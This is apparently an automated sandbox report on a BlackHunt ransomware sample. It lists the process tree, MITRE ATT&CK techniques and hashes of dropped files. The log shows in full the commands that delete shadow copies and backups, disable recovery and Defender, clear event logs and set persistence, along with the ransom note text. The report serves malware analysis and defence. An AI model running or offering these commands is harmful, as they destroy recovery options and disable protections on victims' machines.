  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe" /F
  2⤵
  PID:1104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2136
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2268
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Deletes backup catalog
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1032
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2476
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2072
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2424
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1688
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2000
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2800
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2880
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2704
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1988
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2732
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2188
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1856
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"
  2⤵
  - Deletes itself
  PID:2132
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1872

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2072

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2228

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2236

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:1476

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:984

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2084

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2940

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
PID:2036

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2948

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2928

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:612

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:880

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:1732

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2524

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1580

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:1276

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2632

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1172

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1468

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2200

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
1⤵
PID:1208

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
c9e665d5627e66ed7a691fff75db5944

SHA1
666617be062a42fca0b7fee7446310233fb0f9e8

SHA256
b2c789497eeba4da795dd9fe123d5fef40d0893e6f1d3ff3eac575d803c51b89

SHA512
078ad974b86d2f0f1722af003e620f6e72aa8cd547c6737f891298e545292d99b377ba1d68632f5f4b8a8198aaf229395d5e5000079cb0404ca5406f685dde02

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
2056fc760bd30fbe50e46f611e7c04a4

SHA1
06ff99625da06c4bfab1a4dc5d1bfbfea29ed6a8

SHA256
e7a2e750e1f1c403f51c6e23f3b9ab478bfe865241c6d410c1a33414409b2ed9

SHA512
10812290c3198f0c47e21f6d9725cd748401403ed1c13a844542ccd8d9c58ec7bdd4198b60171c42825a51a98cfbc63d3d4faca2da8188ad31e843d21dfc6c9c

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
4b4fb88847e62f1dc70d16b9abd1f899

SHA1
d2b56f7076d5a0f61f3be89398552f5fb16ad057

SHA256
a13f0ab8241d5992788d1ebf884cb66234849ee4bcef431b2b1ef8728b67b12b

SHA512
9155956f248a3f2862a8fa7614bf8cca87a0423b2f555af9e08c9d3fe8838c436e40f96b97c2d568a605a599e2de746efaf10f9f27a21a94ae3bba4e997868a7

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads